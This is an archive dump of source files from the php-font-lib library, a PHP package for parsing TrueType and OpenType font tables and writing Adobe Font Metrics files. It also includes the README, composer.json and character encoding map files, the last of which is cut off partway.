namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `OS/2` font table.
 *
 * @package php-font-lib
 */
class os2 extends Table {
  protected $def = array(
    "version"             => self::uint16,
    "xAvgCharWidth"       => self::int16,
    "usWeightClass"       => self::uint16,
    "usWidthClass"        => self::uint16,
    "fsType"              => self::int16,
    "ySubscriptXSize"     => self::int16,
    "ySubscriptYSize"     => self::int16,
    "ySubscriptXOffset"   => self::int16,
    "ySubscriptYOffset"   => self::int16,
    "ySuperscriptXSize"   => self::int16,
    "ySuperscriptYSize"   => self::int16,
    "ySuperscriptXOffset" => self::int16,
    "ySuperscriptYOffset" => self::int16,
    "yStrikeoutSize"      => self::int16,
    "yStrikeoutPosition"  => self::int16,
    "sFamilyClass"        => self::int16,
    "panose"              => array(self::uint8, 10),
    "ulCharRange"         => array(self::uint32, 4),
    "achVendID"           => array(self::char, 4),
    "fsSelection"         => self::uint16,
    "fsFirstCharIndex"    => self::uint16,
    "fsLastCharIndex"     => self::uint16,
    "typoAscender"        => self::int16,
    "typoDescender"       => self::int16,
    "typoLineGap"         => self::int16,
    "winAscent"           => self::int16,
    "winDescent"          => self::int16,
  );
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/fpgm.php000066600000001131151150442750017353 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `fpgm` font table.
 *
 * @package php-font-lib
 */
class fpgm extends Table {
  private $rawData;
  protected function _parse() {
    $font = $this->getFont();
    $font->seek($this->entry->offset);
    $this->rawData = $font->read($this->entry->length);
  }
  function _encode() {
    return $this->getFont()->write($this->rawData, $this->entry->length);
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/kern.php000066600000003410151150442750017363 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `kern` font table.
 *
 * @package php-font-lib
 */
class kern extends Table {
  protected function _parse() {
    $font = $this->getFont();

    $data = $font->unpack(array(
      "version"         => self::uint16,
      "nTables"         => self::uint16,

      // only the first subtable will be parsed
      "subtableVersion" => self::uint16,
      "length"          => self::uint16,
      "coverage"        => self::uint16,
    ));

    $data["format"] = ($data["coverage"] >> 8);

    $subtable = array();

    switch ($data["format"]) {
      case 0:
        $subtable = $font->unpack(array(
          "nPairs"        => self::uint16,
          "searchRange"   => self::uint16,
          "entrySelector" => self::uint16,
          "rangeShift"    => self::uint16,
        ));

        $pairs = array();
        $tree  = array();

        $values = $font->readUInt16Many($subtable["nPairs"] * 3);
        for ($i = 0, $idx = 0; $i < $subtable["nPairs"]; $i++) {
          $left  = $values[$idx++];
          $right = $values[$idx++];
          $value = $values[$idx++];

          if ($value >= 0x8000) {
            $value -= 0x10000;
          }

          $pairs[] = array(
            "left"  => $left,
            "right" => $right,
            "value" => $value,
          );

          $tree[$left][$right] = $value;
        }

        //$subtable["pairs"] = $pairs;
        $subtable["tree"] = $tree;
        break;

      case 1:
      case 2:
      case 3:
        break;
    }

    $data["subtable"] = $subtable;

    $this->data = $data;
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/loca.php000066600000003340151150442750017344 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `loca` font table.
 *
 * @package php-font-lib
 */
class loca extends Table {
  protected function _parse() {
    $font   = $this->getFont();
    $offset = $font->pos();

    $indexToLocFormat = $font->getData("head", "indexToLocFormat");
    $numGlyphs        = $font->getData("maxp", "numGlyphs");

    $font->seek($offset);

    $data = array();

    // 2 bytes
    if ($indexToLocFormat == 0) {
      $d   = $font->read(($numGlyphs + 1) * 2);
      $loc = unpack("n*", $d);

      for ($i = 0; $i <= $numGlyphs; $i++) {
        $data[] = isset($loc[$i + 1]) ?  $loc[$i + 1] * 2 : 0;
      }
    }

    // 4 bytes
    else {
      if ($indexToLocFormat == 1) {
        $d   = $font->read(($numGlyphs + 1) * 4);
        $loc = unpack("N*", $d);

        for ($i = 0; $i <= $numGlyphs; $i++) {
          $data[] = isset($loc[$i + 1]) ? $loc[$i + 1] : 0;
        }
      }
    }

    $this->data = $data;
  }

  function _encode() {
    $font = $this->getFont();
    $data = $this->data;

    $indexToLocFormat = $font->getData("head", "indexToLocFormat");
    $numGlyphs        = $font->getData("maxp", "numGlyphs");
    $length           = 0;

    // 2 bytes
    if ($indexToLocFormat == 0) {
      for ($i = 0; $i <= $numGlyphs; $i++) {
        $length += $font->writeUInt16($data[$i] / 2);
      }
    }

    // 4 bytes
    else {
      if ($indexToLocFormat == 1) {
        for ($i = 0; $i <= $numGlyphs; $i++) {
          $length += $font->writeUInt32($data[$i]);
        }
      }
    }

    return $length;
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Table.php000066600000003336151150442750016541 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace FontLib\Table;

use FontLib\TrueType\File;
use FontLib\Font;
use FontLib\BinaryStream;

/**
 * Generic font table.
 *
 * @package php-font-lib
 */
class Table extends BinaryStream {
  /**
   * @var DirectoryEntry
   */
  protected $entry;
  protected $def = array();

  public $data;

  final public function __construct(DirectoryEntry $entry) {
    $this->entry = $entry;
    $entry->setTable($this);
  }

  /**
   * @return File
   */
  public function getFont() {
    return $this->entry->getFont();
  }

  protected function _encode() {
    if (empty($this->data)) {
      Font::d("  >> Table is empty");

      return 0;
    }

    return $this->getFont()->pack($this->def, $this->data);
  }

  protected function _parse() {
    $this->data = $this->getFont()->unpack($this->def);
  }

  protected function _parseRaw() {
    $this->data = $this->getFont()->read($this->entry->length);
  }

  protected function _encodeRaw() {
    return $this->getFont()->write($this->data, $this->entry->length);
  }

  public function toHTML() {
    return "<pre>" . var_export($this->data, true) . "</pre>";
  }

  final public function encode() {
    $this->entry->startWrite();

    if (false && empty($this->def)) {
      $length = $this->_encodeRaw();
    }
    else {
      $length = $this->_encode();
    }

    $this->entry->endWrite();

    return $length;
  }

  final public function parse() {
    $this->entry->startRead();

    if (false && empty($this->def)) {
      $this->_parseRaw();
    }
    else {
      $this->_parse();
    }

    $this->entry->endRead();
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/DirectoryEntry.php000066600000004540151150442750020476 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace FontLib\Table;

use FontLib\TrueType\File;
use FontLib\Font;
use FontLib\BinaryStream;

/**
 * Generic Font table directory entry.
 *
 * @package php-font-lib
 */
class DirectoryEntry extends BinaryStream {
  /**
   * @var File
   */
  protected $font;

  /**
   * @var Table
   */
  protected $font_table;

  public $entryLength = 4;

  public $tag;
  public $checksum;
  public $offset;
  public $length;

  protected $origF;

  /**
   * @param string $data
   *
   * @return int
   */
  static function computeChecksum($data) {
    $len = mb_strlen($data, '8bit');
    $mod = $len % 4;

    if ($mod) {
      $data = str_pad($data, $len + (4 - $mod), "\0");
    }

    $table = unpack("N*", $data);
    return array_sum($table);
  }

  function __construct(File $font) {
    $this->font = $font;
    $this->f    = $font->f;
  }

  function parse() {
    $this->tag = $this->font->read(4);
  }

  function open($filename, $mode = self::modeRead) {
    // void
  }

  function setTable(Table $font_table) {
    $this->font_table = $font_table;
  }

  function encode($entry_offset) {
    Font::d("\n==== $this->tag ====");
    //Font::d("Entry offset  = $entry_offset");

    $data = $this->font_table;
    $font = $this->font;

    $table_offset = $font->pos();
    $this->offset = $table_offset;
    $table_length = $data->encode();

    $font->seek($table_offset + $table_length);
    $pad = 0;
    $mod = $table_length % 4;
    if ($mod != 0) {
      $pad = 4 - $mod;
      $font->write(str_pad("", $pad, "\0"), $pad);
    }

    $font->seek($table_offset);
    $table_data = $font->read($table_length);

    $font->seek($entry_offset);

    $font->write($this->tag, 4);
    $font->writeUInt32(self::computeChecksum($table_data));
    $font->writeUInt32($table_offset);
    $font->writeUInt32($table_length);

    Font::d("Bytes written = $table_length");

    $font->seek($table_offset + $table_length + $pad);
  }

  /**
   * @return File
   */
  function getFont() {
    return $this->font;
  }

  function startRead() {
    $this->font->seek($this->offset);
  }

  function endRead() {
    //
  }

  function startWrite() {
    $this->font->seek($this->offset);
  }

  function endWrite() {
    //
  }
}

vendor/dompdf/php-font-lib/src/FontLib/Exception/FontNotFoundException.php000066600000000312151150442750022652 0ustar00<?php

namespace FontLib\Exception;

class FontNotFoundException extends \Exception
{
    public function __construct($fontPath)
    {
        $this->message = 'Font not found in: ' . $fontPath;
    }
}vendor/dompdf/php-font-lib/src/FontLib/AdobeFontMetrics.php000066600000015667151150442750017665 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib;

use FontLib\Table\Type\name;
use FontLib\TrueType\File;

/**
 * Adobe Font Metrics file creation utility class.
 *
 * @package php-font-lib
 */
class AdobeFontMetrics {
  private $f;

  /**
   * @var File
   */
  private $font;

  function __construct(File $font) {
    $this->font = $font;
  }

  function write($file, $encoding = null) {
    $map_data = array();

    if ($encoding) {
      $encoding = preg_replace("/[^a-z0-9-_]/", "", $encoding);
      $map_file = dirname(__FILE__) . "/../../maps/$encoding.map";
      if (!file_exists($map_file)) {
        throw new \Exception("Unknown encoding ($encoding)");
      }

      $map      = new EncodingMap($map_file);
      $map_data = $map->parse();
    }

    $this->f = fopen($file, "w+");

    $font = $this->font;

    $this->startSection("FontMetrics", 4.1);
    $this->addPair("Notice", "Converted by PHP-font-lib");
    $this->addPair("Comment", "https://github.com/dompdf/php-font-lib");

    $encoding_scheme = ($encoding ? $encoding : "FontSpecific");
    $this->addPair("EncodingScheme", $encoding_scheme);

    $records = $font->getData("name", "records");
    foreach ($records as $id => $record) {
      if (!isset(name::$nameIdCodes[$id]) || preg_match("/[\r\n]/", $record->string)) {
        continue;
      }

      $this->addPair(name::$nameIdCodes[$id], $record->string);
    }

    $os2 = $font->getData("OS/2");
    $this->addPair("Weight", ($os2["usWeightClass"] > 400 ? "Bold" : "Medium"));

    $post = $font->getData("post");
    $this->addPair("ItalicAngle", $post["italicAngle"]);
    $this->addPair("IsFixedPitch", ($post["isFixedPitch"] ? "true" : "false"));
    $this->addPair("UnderlineThickness", $font->normalizeFUnit($post["underlineThickness"]));
    $this->addPair("UnderlinePosition", $font->normalizeFUnit($post["underlinePosition"]));

    $hhea = $font->getData("hhea");

    if (isset($hhea["ascent"])) {
      $this->addPair("FontHeightOffset", $font->normalizeFUnit($hhea["lineGap"]));
    }
    else {
      $this->addPair("FontHeightOffset", $font->normalizeFUnit($os2["typoLineGap"]));
    }

    $glyf = $font->getData("glyf");
    $glyphIndexArray = $font->getUnicodeCharMap();
    $hasGlyphs = $glyf instanceof glyf && is_array($glyphIndexArray);

    // capHeight is based on capital H
    if ($hasGlyphs && \array_key_exists(72, $glyphIndexArray)) {
      $upperH = $glyf[$glyphIndexArray[72]];
      $upperH->parseData();
      $this->addPair("CapHeight", $font->normalizeFUnit($upperH->yMax));
    }

    // xHeight is based on lowercase x
    if ($hasGlyphs && \array_key_exists(120, $glyphIndexArray)) {
      $lowerX = $glyf[$glyphIndexArray[120]];
      $lowerX->parseData();
      $this->addPair("XHeight", $font->normalizeFUnit($lowerX->yMax));
    }

    // ascender is based on lowercase d
    if ($hasGlyphs && \array_key_exists(100, $glyphIndexArray)) {
      $lowerD = $glyf[$glyphIndexArray[100]];
      $lowerD->parseData();
      $this->addPair("Ascender", $font->normalizeFUnit($lowerD->yMax));
    } elseif (isset($hhea["ascent"])) {
      $this->addPair("Ascender", $font->normalizeFUnit($hhea["ascent"]));
    }
    else {
      $this->addPair("Ascender", $font->normalizeFUnit($os2["typoAscender"]));
    }

    // descender is based on lowercase p
    if ($hasGlyphs && \array_key_exists(112, $glyphIndexArray)) {
      $lowerP = $glyf[$glyphIndexArray[112]];
      $lowerP->parseData();
      $this->addPair("Descender", $font->normalizeFUnit($lowerP->yMin));
    } elseif (isset($hhea["descent"])) {
      $this->addPair("Descender", $font->normalizeFUnit($hhea["descent"]));
    }
    else {
      $this->addPair("Descender", -abs($font->normalizeFUnit($os2["typoDescender"])));
    }

    $head = $font->getData("head");
    $this->addArray("FontBBox", array(
      $font->normalizeFUnit($head["xMin"]),
      $font->normalizeFUnit($head["yMin"]),
      $font->normalizeFUnit($head["xMax"]),
      $font->normalizeFUnit($head["yMax"]),
    ));

    if ($glyphIndexArray) {
      $hmtx  = $font->getData("hmtx");
      $names = $font->getData("post", "names");

      $this->startSection("CharMetrics", count($hmtx));

      if ($encoding) {
        foreach ($map_data as $code => $value) {
          list($c, $name) = $value;

          if (!isset($glyphIndexArray[$c])) {
            continue;
          }

          $g = $glyphIndexArray[$c];

          if (!isset($hmtx[$g])) {
            $hmtx[$g] = $hmtx[0];
          }

          $this->addMetric(array(
            "C"  => ($code > 255 ? -1 : $code),
            "WX" => $font->normalizeFUnit($hmtx[$g][0]),
            "N"  => $name,
          ));
        }
      }
      else {
        foreach ($glyphIndexArray as $c => $g) {
          if (!isset($hmtx[$g])) {
            $hmtx[$g] = $hmtx[0];
          }

          $this->addMetric(array(
            "U"  => $c,
            "WX" => $font->normalizeFUnit($hmtx[$g][0]),
            "N"  => (isset($names[$g]) ? $names[$g] : sprintf("uni%04x", $c)),
            "G"  => $g,
          ));
        }
      }

      $this->endSection("CharMetrics");

      $kern = $font->getData("kern", "subtable");
      $tree = is_array($kern) ? $kern["tree"] : null;

      if (!$encoding && is_array($tree)) {
        $this->startSection("KernData");
        $this->startSection("KernPairs", count($tree, COUNT_RECURSIVE) - count($tree));

        foreach ($tree as $left => $values) {
          if (!is_array($values)) {
            continue;
          }
          if (!isset($glyphIndexArray[$left])) {
            continue;
          }

          $left_gid = $glyphIndexArray[$left];

          if (!isset($names[$left_gid])) {
            continue;
          }

          $left_name = $names[$left_gid];

          $this->addLine("");

          foreach ($values as $right => $value) {
            if (!isset($glyphIndexArray[$right])) {
              continue;
            }

            $right_gid = $glyphIndexArray[$right];

            if (!isset($names[$right_gid])) {
              continue;
            }

            $right_name = $names[$right_gid];
            $this->addPair("KPX", "$left_name $right_name $value");
          }
        }

        $this->endSection("KernPairs");
        $this->endSection("KernData");
      }
    }

    $this->endSection("FontMetrics");
  }

  function addLine($line) {
    fwrite($this->f, "$line\n");
  }

  function addPair($key, $value) {
    $this->addLine("$key $value");
  }

  function addArray($key, $array) {
    $this->addLine("$key " . implode(" ", $array));
  }

  function addMetric($data) {
    $array = array();
    foreach ($data as $key => $value) {
      $array[] = "$key $value";
    }
    $this->addLine(implode(" ; ", $array));
  }

  function startSection($name, $value = "") {
    $this->addLine("Start$name $value");
  }

  function endSection($name) {
    $this->addLine("End$name");
  }
}
vendor/dompdf/php-font-lib/README.md000066600000003070151150442750013100 0ustar00[![PHPUnit tests](https://github.com/dompdf/php-font-lib/actions/workflows/phpunit.yml/badge.svg)](https://github.com/dompdf/php-font-lib/actions/workflows/phpunit.yml)

# PHP Font Lib

This library can be used to:
 * Read TrueType, OpenType (with TrueType glyphs), WOFF font files
 * Extract basic info (name, style, etc)
 * Extract advanced info (horizontal metrics, glyph names, glyph shapes, etc)
 * Make an Adobe Font Metrics (AFM) file from a font

This project was initiated by the need to read font files in the [DOMPDF project](https://github.com/dompdf/dompdf).

Usage Example
-------------

### Base font information

```php
$font = \FontLib\Font::load('fontfile.ttf');
$font->parse();  // for getFontWeight() to work this call must be done first!
echo $font->getFontName() .'<br>';
echo $font->getFontSubfamily() .'<br>';
echo $font->getFontSubfamilyID() .'<br>';
echo $font->getFontFullName() .'<br>';
echo $font->getFontVersion() .'<br>';
echo $font->getFontWeight() .'<br>';
echo $font->getFontPostscriptName() .'<br>';
$font->close();
```

### Font Metrics Generation

```php
$font = FontLib\Font::load('fontfile.ttf');
$font->parse();
$font->saveAdobeFontMetrics('fontfile.ufm');
```

### Create a font subset

```php
$font = FontLib\Font::load('fontfile.ttf');
$font->parse();
$font->setSubset("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ.:,;' (!?)+-*/== 1234567890"); // characters to include
$font->reduce();
touch('fontfile.subset.ttf');
$font->open('fontfile.subset.ttf', FontLib\BinaryStream::modeReadWrite);
$font->encode(array("OS/2"));
$font->close();
```
vendor/dompdf/php-font-lib/composer.json000066600000001526151150442750014347 0ustar00{
    "name": "dompdf/php-font-lib",
    "type": "library",
    "description": "A library to read, parse, export and make subsets of different types of font files.",
    "homepage": "https://github.com/dompdf/php-font-lib",
    "license": "LGPL-2.1-or-later",
    "authors": [
        {
            "name": "The FontLib Community",
            "homepage": "https://github.com/dompdf/php-font-lib/blob/master/AUTHORS.md"
        }
    ],
    "autoload": {
        "psr-4": {
            "FontLib\\": "src/FontLib"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "FontLib\\Tests\\": "tests/FontLib"
        }
    },
    "config": {
        "bin-dir": "bin"
    },
    "require": {
        "php": "^7.1 || ^8.0",
        "ext-mbstring": "*"
    },
    "require-dev": {
        "symfony/phpunit-bridge" : "^3 || ^4 || ^5 || ^6"
    }
}
vendor/dompdf/php-font-lib/maps/cp1253.map000066600000010616151150442750014201 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!83 U+0192 florin
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!89 U+2030 perthousand
!8B U+2039 guilsinglleft
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!99 U+2122 trademark
!9B U+203A guilsinglright
!A0 U+00A0 space
!A1 U+0385 dieresistonos
!A2 U+0386 Alphatonos
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+2015 afii00208
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+0384 tonos
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+0388 Epsilontonos
!B9 U+0389 Etatonos
!BA U+038A Iotatonos
!BB U+00BB guillemotright
!BC U+038C Omicrontonos
!BD U+00BD onehalf
!BE U+038E Upsilontonos
!BF U+038F Omegatonos
!C0 U+0390 iotadieresistonos
!C1 U+0391 Alpha
!C2 U+0392 Beta
!C3 U+0393 Gamma
!C4 U+0394 Delta
!C5 U+0395 Epsilon
!C6 U+0396 Zeta
!C7 U+0397 Eta
!C8 U+0398 Theta
!C9 U+0399 Iota
!CA U+039A Kappa
!CB U+039B Lambda
!CC U+039C Mu
!CD U+039D Nu
!CE U+039E Xi
!CF U+039F Omicron
!D0 U+03A0 Pi
!D1 U+03A1 Rho
!D3 U+03A3 Sigma
!D4 U+03A4 Tau
!D5 U+03A5 Upsilon
!D6 U+03A6 Phi
!D7 U+03A7 Chi
!D8 U+03A8 Psi
!D9 U+03A9 Omega
!DA U+03AA Iotadieresis
!DB U+03AB Upsilondieresis
!DC U+03AC alphatonos
!DD U+03AD epsilontonos
!DE U+03AE etatonos
!DF U+03AF iotatonos
!E0 U+03B0 upsilondieresistonos
!E1 U+03B1 alpha
!E2 U+03B2 beta
!E3 U+03B3 gamma
!E4 U+03B4 delta
!E5 U+03B5 epsilon
!E6 U+03B6 zeta
!E7 U+03B7 eta
!E8 U+03B8 theta
!E9 U+03B9 iota
!EA U+03BA kappa
!EB U+03BB lambda
!EC U+03BC mu
!ED U+03BD nu
!EE U+03BE xi
!EF U+03BF omicron
!F0 U+03C0 pi
!F1 U+03C1 rho
!F2 U+03C2 sigma1
!F3 U+03C3 sigma
!F4 U+03C4 tau
!F5 U+03C5 upsilon
!F6 U+03C6 phi
!F7 U+03C7 chi
!F8 U+03C8 psi
!F9 U+03C9 omega
!FA U+03CA iotadieresis
!FB U+03CB upsilondieresis
!FC U+03CC omicrontonos
!FD U+03CD upsilontonos
!FE U+03CE omegatonos
vendor/dompdf/php-font-lib/maps/iso-8859-15.map000066600000011343151150442750014712 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+20AC Euro
!A5 U+00A5 yen
!A6 U+0160 Scaron
!A7 U+00A7 section
!A8 U+0161 scaron
!A9 U+00A9 copyright
!AA U+00AA ordfeminine
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+017D Zcaron
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+017E zcaron
!B9 U+00B9 onesuperior
!BA U+00BA ordmasculine
!BB U+00BB guillemotright
!BC U+0152 OE
!BD U+0153 oe
!BE U+0178 Ydieresis
!BF U+00BF questiondown
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+00C3 Atilde
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+00CC Igrave
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+00D0 Eth
!D1 U+00D1 Ntilde
!D2 U+00D2 Ograve
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+00DD Yacute
!DE U+00DE Thorn
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+00E3 atilde
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+00EC igrave
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+00F0 eth
!F1 U+00F1 ntilde
!F2 U+00F2 ograve
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+00F9 ugrave
